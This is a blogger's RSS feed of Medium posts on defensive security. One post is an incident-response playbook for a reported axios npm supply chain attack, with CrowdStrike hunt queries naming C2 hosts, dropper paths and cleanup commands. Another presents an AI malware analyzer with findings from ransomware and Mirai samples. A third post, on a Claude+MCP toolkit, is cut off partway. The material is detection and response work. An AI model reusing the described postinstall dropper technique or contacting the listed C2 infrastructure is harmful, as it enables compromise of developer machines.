<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Revanth S on Medium]]></title>
        <description><![CDATA[Stories by Revanth S on Medium]]></description>
        <link>https://medium.com/@revanthselvam?source=rss-dc408eb3cc35------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*-Ja7lsxpvWCA1_HlYQI5gQ.jpeg</url>
            <title>Stories by Revanth S on Medium</title>
            <link>https://medium.com/@revanthselvam?source=rss-dc408eb3cc35------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 29 Nov 2026 17:44:08 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@revanthselvam/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[axios Supply Chain Attack: How to Detect & Respond Using CrowdStrike Falcon]]></title>
            <link>https://revanthselvam.medium.com/hunting-the-axios-supply-chain-attack-in-crowdstrike-falcon-a-soc-analysts-playbook-40a8084b74eb?source=rss-dc408eb3cc35------2</link>
            <guid isPermaLink="false">https://medium.com/p/40a8084b74eb</guid>
            <category><![CDATA[security-operation-center]]></category>
            <category><![CDATA[threat-hunting]]></category>
            <category><![CDATA[crowdstrike]]></category>
            <category><![CDATA[npm-security]]></category>
            <category><![CDATA[incident-response]]></category>
            <dc:creator><![CDATA[Revanth S]]></dc:creator>
            <pubDate>Tue, 31 Mar 2026 17:27:52 GMT</pubDate>
            <atom:updated>2026-04-05T18:55:26.077Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*67iOtCw8JLwmKAcYRlYD6A.png" /></figure><p><strong>Hey folks! Welcome back to my blog!</strong> 👋</p><p>If you’ve been following my journey, you know I love writing about real-world security scenarios that actually help SOC analysts in their day-to-day work. Today’s post is a big one.</p><p>On <strong>31 March 2026</strong>, a sophisticated supply chain attack targeted one of the most widely used JavaScript libraries in the world — axios. The attack was live for under 3 hours. But for any machine that ran npm install during that window, the damage was done silently, invisibly, and completely automatically.</p><p>Today I’m going to walk you through exactly how to <strong>detect it, investigate it, and respond to it</strong> using <strong>CrowdStrike Falcon LogScale</strong>. Copy-paste ready queries included. Let’s go. 🔥</p><h4>🤔 Wait — What Even Happened?</h4><p>Imagine you are a developer. You are doing your normal morning work. You run npm install — something you have done a thousand times. Nothing looks wrong. No errors. No warnings.</p><p>But in the background, in under <strong>2 seconds</strong>, malware has silently installed itself on your machine, established a connection to an attacker’s server, and is now waiting for instructions.</p><p>That is exactly what happened when two malicious versions of axios — one of the most popular JavaScript packages on the planet with <strong>100 million weekly downloads</strong> — were briefly published to npm.</p><p>The attack was live for less than 3 hours. But that was enough.</p><h4>🧱 How Did It Work?</h4><p>Here is the simple version:</p><pre>Developer runs npm install<br>        ↓<br>npm pulls axios@1.14.1 (malicious)<br>        ↓<br>axios secretly depends on plain-crypto-js@4.2.1 (the actual weapon)<br>        ↓<br>plain-crypto-js runs a postinstall script (setup.js) automatically<br>        ↓<br>setup.js contacts attacker&#39;s server, downloads platform-specific RAT<br>        ↓<br>RAT runs silently in background — attacker has full remote access<br>        ↓<br>All traces deleted from disk</pre><p>The clever part? <strong>There was zero malicious code inside axios itself.</strong> The threat lived entirely inside the hidden dependency. A developer who inspected their node_modules folder after the fact would find nothing suspicious.</p><p><strong>The affected versions:</strong></p><ul><li>axios@1.14.1 — live for ~2 hours 53 minutes</li><li>axios@0.30.4 — live for ~2 hours 15 minutes</li><li><strong>Safe version:</strong> axios@1.14.0</li></ul><h4>🎯 What Did the Attacker Get?</h4><p>The RAT was cross-platform — built specifically for Windows, Linux, and macOS:</p><p><strong>🪟 Windows</strong> Payload → C:\ProgramData\wt.exe Persistence → Disguised as Windows Terminal, survives reboots</p><p><strong>🐧 Linux</strong> Payload → /tmp/ld.py Persistence → Launched via nohup python3 — runs silently in background</p><p><strong>🍎 macOS</strong> Payload → /Library/Caches/com.apple.act.mond Persistence → Registered as a LaunchAgent</p><p>Once installed, the RAT beaconed to the attacker’s C2 server every ~1.75 hours, downloading fresh instructions each time — then deleting the script after execution. Classic fileless behavior.</p><h4>🔎 Part 1 — How to Detect This in CrowdStrike Falcon</h4><p>Alright team — this is where it gets practical. Let me show you exactly how to hunt for this in <strong>Falcon LogScale</strong>.</p><h4>Step 1 — Start Broad. Let the Data Talk First.</h4><p>Before anything else, run a simple keyword search across all event types. Cast a wide net:</p><pre>&quot;142.11.206[.]73&quot; OR &quot;sfrclak[.]com&quot; OR &quot;6202033&quot; OR &quot;packages.npm.org/product&quot;| sort(@timestamp, order=desc)<br>| select([fmttime, ComputerName, UserName, event_simpleName,<br>          ImageFileName, CommandLine])</pre><p>If any machine in your environment touched the C2 infrastructure — this will surface it immediately. Any hit here means something needs investigating.</p><h4>Step 2 — The Full Cross-Platform IOC Hunt</h4><p>One query. Covers Windows, Linux, and macOS. No need to run separate queries per OS:</p><pre>#event_simpleName = /ProcessRollup2|FileCreate|FileWrite|FileOpen|FileDelete|NetworkConnectIP4|DnsRequest|HttpRequest/| RemoteAddressIP4 = &quot;142.11.206.73&quot;<br>  OR DomainName = &quot;*sfrclak.com*&quot;<br>  OR HttpUrl = &quot;*sfrclak.com*&quot;<br>  OR HttpPostBody = &quot;*packages.npm.org/product*&quot;<br>  OR TargetFileName = &quot;*com.apple.act.mond*&quot;<br>  OR TargetFileName = &quot;*\\ProgramData\\wt.exe*&quot;<br>  OR TargetFileName = &quot;*6202033*&quot;<br>  OR TargetFileName = &quot;*/tmp/ld.py*&quot;<br>  OR ImageFileName = &quot;*\\ProgramData\\wt.exe*&quot;<br>  OR ImageFileName = &quot;*ld.py*&quot;<br>  OR CommandLine = &quot;*6202033*&quot;<br>  OR CommandLine = &quot;*sfrclak.com*&quot;<br>  OR CommandLine = &quot;*142.11.206.73*&quot;<br>  OR CommandLine = &quot;*axios@1.14.1*&quot;<br>  OR CommandLine = &quot;*axios@0.30.4*&quot;<br>  OR CommandLine = &quot;*plain-crypto-js*&quot;| case {<br>    RemoteAddressIP4 = &quot;142.11.206.73&quot;              | MatchReason := &quot;C2 IP Hit&quot; ;<br>    DomainName = &quot;*sfrclak.com*&quot;                    | MatchReason := &quot;C2 Domain Hit&quot; ;<br>    HttpPostBody = &quot;*packages.npm.org/product*&quot;     | MatchReason := &quot;C2 Beacon POST Body&quot; ;<br>    TargetFileName = &quot;*6202033*&quot;                    | MatchReason := &quot;Malicious Dropped File&quot; ;<br>    TargetFileName = &quot;*\\ProgramData\\wt.exe*&quot;      | MatchReason := &quot;Windows RAT - ProgramData&quot; ;<br>    ImageFileName = &quot;*\\ProgramData\\wt.exe*&quot;       | MatchReason := &quot;Windows RAT Execution&quot; ;<br>    TargetFileName = &quot;*com.apple.act.mond*&quot;         | MatchReason := &quot;macOS Persistence&quot; ;<br>    TargetFileName = &quot;*/tmp/ld.py*&quot;                 | MatchReason := &quot;Linux RAT Dropper&quot; ;<br>    ImageFileName = &quot;*ld.py*&quot;                       | MatchReason := &quot;Linux RAT Execution&quot; ;<br>    CommandLine = &quot;*plain-crypto-js*&quot;               | MatchReason := &quot;Malicious npm Package&quot; ;<br>    CommandLine = &quot;*axios@1.14.1*&quot;                  | MatchReason := &quot;Malicious axios Version&quot; ;<br>    CommandLine = &quot;*axios@0.30.4*&quot;                  | MatchReason := &quot;Malicious axios Version&quot; ;<br>    *                                               | MatchReason := &quot;Other IOC Match&quot; ;<br>  }| formattime(&quot;%A %d %B %Y, %R&quot;, as=fmttime, field=@timestamp, timezone=UTC)<br>| sort(@timestamp, order=desc)<br>| table([fmttime, ComputerName, UserName, event_simpleName,<br>         MatchReason, ImageFileName, CommandLine,<br>         TargetFileName, RemoteAddressIP4, DomainName, HttpUrl], limit=200000)</pre><blockquote><em>💡 </em><strong><em>Pro tip:</em></strong><em> The </em><em>MatchReason field tells you exactly why each machine was flagged — no need to manually read through every command line. This speeds up triage significantly.</em></blockquote><h4>Step 3 — Hunt the Infection Moment</h4><p>Want to find the exact second the dropper fired? Look for setup.js being spawned by npm:</p><p>Want to find the exact second the dropper fired? Look for setup.js being spawned by npm:</p><pre>#event_simpleName = &quot;ProcessRollup2&quot;| CommandLine = &quot;*node setup.js*&quot;<br>  OR CommandLine = &quot;*plain-crypto-js*&quot;<br>  OR CommandLine = &quot;*postinstall*&quot; AND CommandLine = &quot;*axios*&quot;<br>| formattime(&quot;%A %d %B %Y, %R&quot;, as=fmttime, field=@timestamp, timezone=UTC)<br>| sort(@timestamp, order=asc)<br>| select([fmttime, ComputerName, UserName,<br>          ImageFileName, CommandLine,<br>          ParentImageFileName, ParentCommandLine])</pre><blockquote><em>💡 </em><strong><em>What to look for:</em></strong><em> If </em><em>ParentImageFileName shows </em><em>npm, </em><em>bash, or </em><em>node spawning </em><em>node setup.js — that is your infection moment. Timestamp that. Everything after that time on that machine is under suspicion.</em></blockquote><h4>Step 4 — False Positive Awareness</h4><p>Two things will generate noise in your results that are <strong>not malicious:</strong></p><p><strong>1 — Legitimate Windows Terminal (</strong><strong>wt.exe)</strong> Windows Terminal lives in \Program Files\WindowsApps\. The malicious one lives in \ProgramData\. If you see wt.exe from WindowsApps — that is safe. Only C:\ProgramData\wt.exe is the RAT.</p><p><strong>2 — macOS Chrome and Edge renderer processes</strong> These have long command lines that may coincidentally match broad keyword searches. Look for actual com.apple.act.mond file activity — not just process command line matches — before escalating a Mac hit.</p><h4>🚨 Part 2 — You Got a Hit. Now What?</h4><p>Alright — your query returned results. Here is what to do next, step by step.</p><h4>Immediate Response</h4><p><strong>Step 1 — Contain the machine</strong> Isolate it from the network immediately using CrowdStrike RTR Network Containment. Do not wait. Every minute the machine stays connected, the attacker potentially has access.</p><p><strong>Step 2 — Confirm the RAT is running</strong></p><p>On Windows via RTR:</p><pre>Get-Process | Where-Object {$_.Path -like &quot;*ProgramData*wt.exe*&quot;}</pre><p>On Linux via RTR:</p><pre>ps aux | grep ld.py</pre><p><strong>Step 3 — Kill the process and delete the files</strong></p><p>Windows:</p><pre>Stop-Process -Id &lt;pid&gt; -Force<br>Remove-Item &quot;C:\ProgramData\wt.exe&quot; -Force</pre><p>Linux:</p><pre>kill -9 &lt;pid&gt;<br>rm -f /tmp/ld.py<br>find / -name nohup.out</pre><p><strong>Step 4 — Check for persistence</strong></p><p>The attacker had remote access — they may have planted additional persistence beyond the initial RAT:</p><pre># Windows — check scheduled tasks and registry run keys<br>Get-ScheduledTask | Where-Object {$_.Date -gt (Get-Date).AddDays(-3)}<br>Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Run<br>Get-ItemProperty HKCU:\Software\Microsoft\Windows\CurrentVersion\Run</pre><pre># Linux — check cron and systemd<br>crontab -l<br>systemctl list-units --type=service --state=running</pre><p><strong>Step 5 — Clean the npm environment</strong></p><pre># Remove node_modules entirely<br>rm -rf node_modules<br># Clear npm cache<br>npm cache clean --force<br># Reinstall with safe version<br>npm install axios@1.14.0</pre><p><strong>Step 6 — Rotate credentials</strong><br>Any credential that was live on the machine during the infection window should be rotated — AWS keys, Docker tokens, GitHub tokens, active SSO sessions. Do not skip this step even if you cannot directly confirm the attacker accessed them. Rotation is low effort, high value.</p><pre>📌 IOC Quick Reference<br>⚠️ IOCs are defanged to prevent accidental clicks or automated tool triggers. Replace `[.]` with `.` and `hxxp` with `http` before using in your threat intel platform or hunting queries.<br><br>C2 IP       : 142.11.206[.]73<br>C2 Domain   : sfrclak[.]com<br>C2 URL      : hxxp://sfrclak[.]com:8000/6202033<br>Windows RAT : C:\ProgramData\wt[.]exe<br>Linux RAT   : /tmp/ld[.]py<br>macOS RAT   : /Library/Caches/com[.]apple[.]act[.]mond<br>Malicious   : plain-crypto-js@4[.]2[.]1<br>Malicious   : axios@1[.]14[.]1 / axios@0[.]30[.]4<br>Safe        : axios@1[.]14[.]0<br>             (shasum: 7c29f4cf2ea91ef05018d5aa5399bf23ed3120eb)</pre><h4>💡 Part 3 — Lessons Learned</h4><p>After hunting this across a real environment, here are the things that stood out.</p><p><strong>1 — Automated processes are just as exposed as humans</strong> Developer laptops were not the only machines at risk. Any server running npm install on a cron schedule hit the malicious package automatically — with no human involved and no one to notice. Scope your hunt beyond developer machines. Build servers, CI/CD pipelines, app servers — all fair game.</p><p><strong>2 — Files self-delete. Hunt behavior, not artifacts.</strong> The PS1 script, the VBS dropper, the setup.js — all gone after execution. Traditional file-based detection would find nothing. Every confirmed hit came from <strong>process execution events</strong>, not file scans. Build your detections around what ran, not what is on disk.</p><p><strong>3 — Don’t rely solely on automated detections. Hunt proactively.</strong> Automated detections are your first line of defense — but they are not your only line. EDR platforms are incredibly powerful, but no tool catches everything out of the box. Detection rules need tuning, coverage gaps exist across platforms, and sophisticated attacks are specifically designed to stay below the threshold of automated alerts. The analysts who found this attack did not wait for an alert to fire. They went looking. That is the mindset that makes the difference. If you are only reacting to what your SIEM or EDR alerts on, you are already behind. Build time into your week for proactive threat hunting — especially after a public supply chain disclosure like this one. 🛡️</p><p><strong>4 — The attack window was narrow but the blast radius was not</strong> Under 3 hours live on npm. But any machine that ran npm install during that window — developer laptops, CI/CD pipelines, build servers, Docker containers — was potentially exposed. Scope your hunt broadly, not just to developer machines.</p><p><strong>5 — Always validate before you escalate</strong> Not every suspicious-looking event is malicious. Before escalating any finding, always ask — who spawned this process? The ParentImageFileName and ParentCommandLine fields in CrowdStrike are your best friends here. A process that looks alarming in isolation can turn out to be completely normal background behavior from a legitimate application once you see its parent. One extra field check can save you from a false escalation and keep your investigation focused on what actually matters. Build this verification step into your standard triage workflow — it will save you time and credibility in the long run. 🔍</p><h4>🎯 Final Thought</h4><p>Supply chain attacks like this one are not caught by waiting for alerts to fire. They are caught by analysts who actively hunt, understand process chains, and know what normal looks like so they can spot what isn’t.</p><p>The queries in this post are copy-paste ready for CrowdStrike Falcon LogScale. Run them. Tune them to your environment. And build detections around <strong>behavior</strong> — because the files will always be gone before you look for them.</p><p>Stay curious. Stay hunting. 🛡️</p><p><em>Found this useful? Drop a comment below or connect with me. Always happy to discuss detection engineering and threat hunting techniques.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=40a8084b74eb" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ I Built an Open Source AI-Powered Malware Analyzer — And It Explains What Malware Does in Plain…]]></title>
            <link>https://revanthselvam.medium.com/i-built-an-open-source-ai-powered-malware-analyzer-and-it-explains-what-malware-does-in-plain-beac492abeac?source=rss-dc408eb3cc35------2</link>
            <guid isPermaLink="false">https://medium.com/p/beac492abeac</guid>
            <category><![CDATA[security-operation-center]]></category>
            <category><![CDATA[open-source]]></category>
            <category><![CDATA[ai]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Revanth S]]></dc:creator>
            <pubDate>Mon, 30 Mar 2026 17:43:05 GMT</pubDate>
            <atom:updated>2026-03-30T17:55:29.088Z</atom:updated>
            <content:encoded><![CDATA[<h3>🔍 I Built an Open Source AI-Powered Malware Analyzer — And It Explains What Malware Does in Plain English</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HsGtutQ7iJivrGD_MrZj5g.png" /></figure><p>Hey folks! Welcome back to my blog! 👋</p><p>If you’ve been following my journey, you know I love building tools that make a Security Analyst’s life genuinely easier. Last time I showed you my AI-powered SOC Investigation Toolkit using Claude and MCP — and that one blew up way beyond what I expected!</p><p>Today I’m sharing something even bigger. I built MalwareScope — a fully open source, AI-powered malware analysis platform for SOC teams. And I’m going to walk you through the problem it solves, how it works, and what it found when I threw real malware at it. 🔥</p><h4>🤔 What Problem Does This Solve?</h4><p>Let me paint you a picture that every SOC analyst will recognize.</p><p>It’s 2am. An alert fires. A suspicious file landed on an endpoint. Your job is to figure out — is this malware? What does it do? How bad is it?</p><p>You submit it to VirusTotal. 47 antivirus engines flag it. But you still don’t know:</p><p>🔴 What does this file actually do when it runs? 🔴 What Windows functions does it use? 🔴 Is it ransomware? A backdoor? A credential stealer? 🔴 What should I do right now?</p><p>You open the file in a malware sandbox. You get back 500 lines of raw JSON. Process names. API calls. Registry keys. Network connections. All raw data — no explanation, no context, no “here’s what this means.”</p><p>A junior analyst stares at this and has no idea what to do next.</p><p>That gap — between raw tool output and actionable intelligence — is exactly what MalwareScope fills. 💡</p><h4>🤔 Wait, What Is Malware Analysis Anyway?</h4><p>Alright, quick explanation for those new to this!</p><p>When a suspicious file arrives, analysts investigate it two ways:</p><p>🔵 <strong>Static Analysis </strong>— examining the file without running it Think of it like reading a recipe without cooking the meal. You can see the ingredients (what functions it plans to use), the structure (how it’s organized), and spot red flags — all without any risk.</p><p>🔴 <strong>Dynamic Analysis</strong> — running the file in a controlled environment Think of it like cooking the meal in a sealed kitchen with cameras everywhere. You let the malware actually run, but inside a completely isolated virtual machine. You watch exactly what it does — what files it creates, what network connections it makes, what it tries to install.</p><p>Together, these two approaches tell the full story of what a file does.</p><p>The problem? The tools that do this return raw data. Lots of it. MalwareScope takes all that raw data and feeds it to AI — which then writes a plain-English report explaining exactly what the file does and what the analyst should do next. 🤖</p><h4>🛠️ What Did I Build?</h4><p>MalwareScope is a web-based platform that any analyst can open in their browser. You drag and drop a suspicious file, choose your analysis mode, and within minutes you get a structured report. Here’s what happens under the hood:</p><p>Step 1 — File identification 🔍 The moment a file arrives, MalwareScope reads its first few bytes (called magic bytes) to identify what it truly is — not based on the filename, which can be faked. It generates MD5, SHA256, and fuzzy hashes for tracking.</p><p>Step 2 — Static analysis 🔬 Without ever executing the file, MalwareScope reads its structure like a book: <br>🔍 What Windows or Linux functions does it plan to call? <br>🔴 Are there strings that look like ransomware notes or Mimikatz commands? <br>📦 Is the file packed or encrypted to hide its real contents? ⚡ Does it match any known malware signatures?</p><p>Step 3 — Dynamic analysis (optional) 🖥️ The file gets sent to an isolated virtual machine — either FlareVM (for Windows malware) or REMnux (for Linux malware). These are completely cut off from the internet. The malware runs, we record everything it does, then we restore a clean copy.</p><p>Step 4 — AI synthesis 🤖 All findings from steps 1 to 3 get sent to GPT-4o with a strict instruction: “Only explain what the tools actually found. Never invent findings.” The AI writes a plain-English report with verdict, behavior narrative, ATT&amp;CK technique explanations, and prioritized next steps.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iPrX2-vM-OQ1fZNn4RKQyg.png" /></figure><h4>🎯 Let Me Show You What It Found on Real Malware</h4><h4>Test 1 — Ransomware Sample 💀</h4><p>I grabbed a real 4.27MB Windows executable from MalwareBazaar — a public malware repository used by security researchers. Here’s what MalwareScope caught:</p><p>What the static analysis found: The file imports a suspicious combination of Windows functions — VirtualAlloc, WriteProcessMemory, and CreateRemoteThread together. In plain English? That’s the classic pattern for injecting code into another process. No legitimate software needs all three simultaneously. 😱</p><p>It also matched our YARA rules: <br>🔴 Ransomware ransom note patterns <br>🗑️ Shadow copy deletion commands (used to prevent file recovery) <br>🌐 ngrok.io hardcoded — a known C2 tunneling service attackers use <br>🐛 Anti-debugging checks to evade analysis tools <br>💉 Shellcode byte patterns</p><p><strong>What the AI said:</strong></p><blockquote>“This file is a 64-bit Windows executable that exhibits multiple critical indicators of ransomware behavior. It contains ransomware note strings, attempts to delete shadow copies to prevent data recovery, uses ngrok.io as a C2 tunnel, and includes anti-debugging techniques to evade analysis tools.”</blockquote><p><strong>Verdict: MALICIOUS — CRITICAL — 95% confidence</strong> 🚨</p><p>This would normally take an analyst 30–45 minutes to piece together manually. MalwareScope did it in under 3 minutes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HuxgpJlYhZTD42LX_VKsLw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uM8T5X67aeMJXY3Ecbpnlg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PhvTNVViie3zrCri4hvWOg.png" /></figure><h4>Test 2 — IoT Malware (Mirai Botnet Variant)</h4><p>This one genuinely surprised me. I submitted a 69KB Linux ELF binary — tiny, packed with UPX to hide its contents.</p><p>Static analysis alone found: UPX packing. That’s suspicious but not conclusive. Lots of legitimate software uses UPX.</p><p>Then I ran dynamic analysis on REMnux. Here’s what it actually did when it ran:</p><p><strong>Files it tried to access:</strong></p><pre>/etc/watchdog<br>/dev/FTWDT101_watchdog    ← a specific IoT device chip<br>/dev/misc/watchdog<br>/sbin/watchdog</pre><p><strong>Network connections it attempted:</strong></p><pre>142.248.80.144:69    ← TFTP port (used to download payloads)<br>8.8.8.8:53           ← DNS query (resolving C2 domain)<br>+ ARP scanning the entire local network</pre><p><strong>What is this?</strong> A Mirai botnet variant. Mirai is famous for infecting IoT devices — routers, security cameras, DVRs — and turning them into a botnet for DDoS attacks. The watchdog file access is how it survives device reboots. The TFTP connection is it downloading additional payloads. The network scanning is it looking for more devices to infect.</p><p>Without dynamic analysis, we would have seen “UPX packed binary” and not much else. With dynamic analysis, we have actual C2 IPs to block, a clear malware family identification, and specific hunt queries for the SOC team. 🎯</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UAFnm3MUTUhigkAxbyYBeg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*G65Woj6zUOX0EaFrJvH8mg.png" /></figure><h4>🔒 Wait — Is It Safe to Run Malware Through This?</h4><p>Great question! Safety was my number one priority when building this. 🛡️</p><p>The malware never runs on your actual machine. It only executes inside a completely isolated virtual machine — think of it as a fake computer inside your real computer — that: <br>🔒 Has zero internet access <br>🔒 Cannot communicate with your real network <br>🔒 Gets wiped and restored to a clean state after every analysis <br>🔒 Runs as a non-administrator user</p><p>For static analysis — the file never executes at all. Our tools read its bytes like reading a document. Zero risk.</p><p>This design follows OWASP security standards throughout — the same standards used by enterprise security teams to validate that a tool is safe to run in a SOC environment. 🛡️</p><h4>🏗️ Architecture — How It All Fits Together</h4><pre>Analyst (browser)<br>        │<br>        ▼<br>React Frontend — the dashboard you see<br>        │<br>        ▼<br>FastAPI Backend — the brain<br>        │<br>        ├── Static Engine  → reads file structure safely<br>        ├── YARA Engine    → matches known malware signatures  <br>        ├── ATT&amp;CK Mapper  → maps findings to attack techniques<br>        ├── Dynamic Engine → sends to isolated VM for execution<br>        └── AI Layer       → GPT-4o writes the analyst report</pre><p><strong>Tech Stack:</strong> <br>🐍 Python + FastAPI — backend <br>⚛️ React — analyst dashboard <br>🔍 pefile, pyelftools — file structure analysis <br>⚡ YARA — signature matching (30+ rules across 9 categories) <br>🖥️ VirtualBox + FlareVM + REMnux — isolated sandboxes <br>🤖 OpenAI GPT-4o — AI explanation layer <br>🐳 Docker — one-command deployment</p><h4>💡 Why The AI Layer Is The Real Differentiator</h4><p>I want to be honest about something. All the individual tools I used — pefile, YARA, pyelftools — these are excellent open source tools that professional malware analysts already use. I didn’t invent them.</p><p>What I built is the layer on top that makes them accessible to every analyst, not just experts.</p><p>Here’s the key design decision I made: <strong>The AI is only allowed to explain what the tools actually found. It cannot guess, invent, or speculate.</strong></p><p>So when GPT-4o writes “this file attempts to dump credentials from LSASS memory” — that’s because our YARA rule matched Mimikatz strings AND our PE analyzer found MiniDumpWriteDump in the imports. Every sentence traces back to real evidence.</p><p>This is what makes MalwareScope trustworthy in a SOC environment. You’re not getting AI hallucinations — you’re getting AI explanations of real findings. 🎯</p><h4>📊 What MalwareScope Detects</h4><p>Here’s a quick look at what the tool currently covers:</p><p>🔴 Process Injection — Classic, reflective DLL, process hollowing, .NET CLR hosting <br>🔑 Credential Theft — Mimikatz, LSASS dump, browser stealer, SAM database dump <br>💀 Ransomware — WannaCry indicators, shadow copy deletion, ransom note strings <br>📡 C2 Communication — HTTP beaconing, raw sockets, WMI fileless execution <br>🥷 Defense Evasion — AMSI bypass, ETW patching, sandbox and VM detection <br>↔️ Lateral Movement — PsExec style, pass-the-hash, SMB worm, WMI remote execution <br>📱 IoT Malware — Mirai variants, watchdog persistence, TFTP payload download <br>🚪 RATs and Backdoors — Cobalt Strike beacons, Meterpreter, njRAT</p><h4>🤝 Help Me Make This Better!</h4><p>I built MalwareScope as a SOC analyst, not a full-time developer. Which means there are areas where your expertise could genuinely improve this project. 🙏</p><p><strong>I’d love your feedback on:</strong></p><p>🔍 Detection coverage — Are there malware families you commonly see that MalwareScope misses? I want to add YARA rules for real-world threats, not just textbook ones. <br>🧠 AI report quality — Does the plain-English explanation actually help? Too much noise? Not enough context? <br>⚡ Performance — Running this on your SOC infrastructure and hitting bottlenecks? I want to know. <br>🛡️ Security review — Spot something concerning in the codebase? SECURITY.md in the repo has my disclosure process. <br>🔧 Feature requests — Job history? SIEM integration? Export to PDF? Tell me what you need.</p><h4>Ways to contribute:</h4><p>🐛 Open an issue on GitHub for bugs or feature requests <br>⭐ Star the repo if you find it useful — it helps more analysts discover it <br>🔀 Submit a PR — contribution guide is in CONTRIBUTING.md <br>💬 Drop a comment below — I read every single one</p><p>This is a community tool built for analysts, by an analyst. The more real-world feedback it gets, the more useful it becomes for everyone. 🙏</p><p>⭐ GitHub: <strong>github.com/revanthrev96/malwarescope</strong></p><h4>🚀 How To Get Started</h4><p>Getting MalwareScope running is straightforward. Just run:</p><pre>git clone https://github.com/revanthrev96/malwarescope<br>cd malwarescope<br>cp backend/.env.example backend/.env<br># Add your OpenAI API key to .env<br>docker compose up</pre><p>Open <a href="http://localhost:3000/">http://localhost:3000</a> and you’re analyzing malware. That’s it. 🔥</p><p>For dynamic analysis you’ll need VirtualBox with FlareVM and REMnux configured. Full setup guide is included in the repo at docs/DYNAMIC_SETUP.md.</p><h4>🎤 Final Thoughts</h4><p>I built MalwareScope because I was frustrated. Frustrated that junior analysts had to become experts in 10 different tools just to answer one basic question: “Is this file malicious and what should I do about it?”</p><p>The answer should be accessible. The tools exist. The AI exists. Someone just needed to connect them in a way that actually helps analysts work faster and smarter.</p><p>That’s what this project is. Completely free, open source, and air-gapped capable. 🛡️</p><p>If you’re a SOC analyst, detection engineer, threat hunter, or just someone learning malware analysis — give it a try. And if you find it useful, a ⭐ on GitHub goes a long way for an open source project. 🙏</p><p>If you found this helpful, hit that 👏 and follow me for more blogs like this. I’ll be posting more on malware analysis, threat detection, and AI-powered security tools very soon!</p><p><strong>Until next time — stay curious, stay secure! 🛡️</strong></p><p><em>Revanth S | Security Analyst/Engineer | Cloud &amp; On-Prem Guardian</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=beac492abeac" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ I Built an AI Powered SOC Investigation Tool Using Claude + MCP And It Changed How I Analyze…]]></title>
            <link>https://revanthselvam.medium.com/i-built-an-ai-powered-soc-investigation-tool-using-claude-mcp-and-it-changed-how-i-analyze-aec32d5f28aa?source=rss-dc408eb3cc35------2</link>
            <guid isPermaLink="false">https://medium.com/p/aec32d5f28aa</guid>
            <category><![CDATA[mcp-server]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[claude]]></category>
            <category><![CDATA[ai]]></category>
            <category><![CDATA[python]]></category>
            <dc:creator><![CDATA[Revanth S]]></dc:creator>
            <pubDate>Fri, 06 Mar 2026 07:12:32 GMT</pubDate>
            <atom:updated>2026-03-06T09:41:07.811Z</atom:updated>
            <content:encoded><![CDATA[<h3>🤖 I Built an AI Powered SOC Investigation Tool Using Claude + MCP And It Changed How I Analyze Threats</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-E75C0B1Dhv410CbB4_xGQ.png" /></figure><p><strong>Hey folks! Welcome back to my blog! 👋</strong></p><p>If you’ve been following my journey, you know I love building things that make a Security Analyst’s life easier. Today I’m going to walk you through something I’m genuinely excited about. I built a <strong>local AI powered SOC Investigation Toolkit</strong> using <strong>Anthropic’s Claude</strong> and <strong>MCP (Model Context Protocol)</strong>. And trust me, once you see what this thing can do, you’ll want to build one too. 🔥</p><h4>🤔 Wait, What’s MCP?</h4><p>Alright, before we dive in, let me quickly explain MCP for those who haven’t heard of it yet.</p><p><strong>MCP (Model Context Protocol)</strong> is an open protocol developed by Anthropic that lets you connect AI models like Claude to external tools, file systems, APIs, and services. Think of it as giving Claude “hands”. It can now read files, write reports, search directories, and interact with your local environment in real time.</p><p>So instead of just <em>chatting</em> with Claude, you’re literally giving it the ability to <em>act</em> inside your investigation workspace. That’s the game changer here. 💡</p><h4>🛠️ What Did I Build?</h4><p>I built a <strong>local SOC investigation environment</strong> where Claude acts as a co analyst. Here’s what the toolkit can do:</p><ul><li>📂 <strong>List and navigate</strong> investigation files</li><li>📖 <strong>Read</strong> log files, PCAP analysis notes, and IR reports</li><li>🔍 <strong>Extract IOCs</strong> (IPs, hashes, domains, URLs) automatically from any file</li><li>🔎 <strong>Search across all files</strong> for a keyword (like grep, but smarter)</li><li>📝 <strong>Generate structured IR reports</strong> on the fly</li><li>🗂️ <strong>Organize files</strong> into proper folders (logs/, reports/, iocs/, misc/)</li><li>✍️ <strong>Append findings</strong> to ongoing investigation notes</li></ul><p>All of this running <strong>locally</strong> on my machine. No cloud upload, no external data exposure. 🔒</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SY_wav5TCkxetIegZCDgsw.png" /></figure><figure><img alt="" 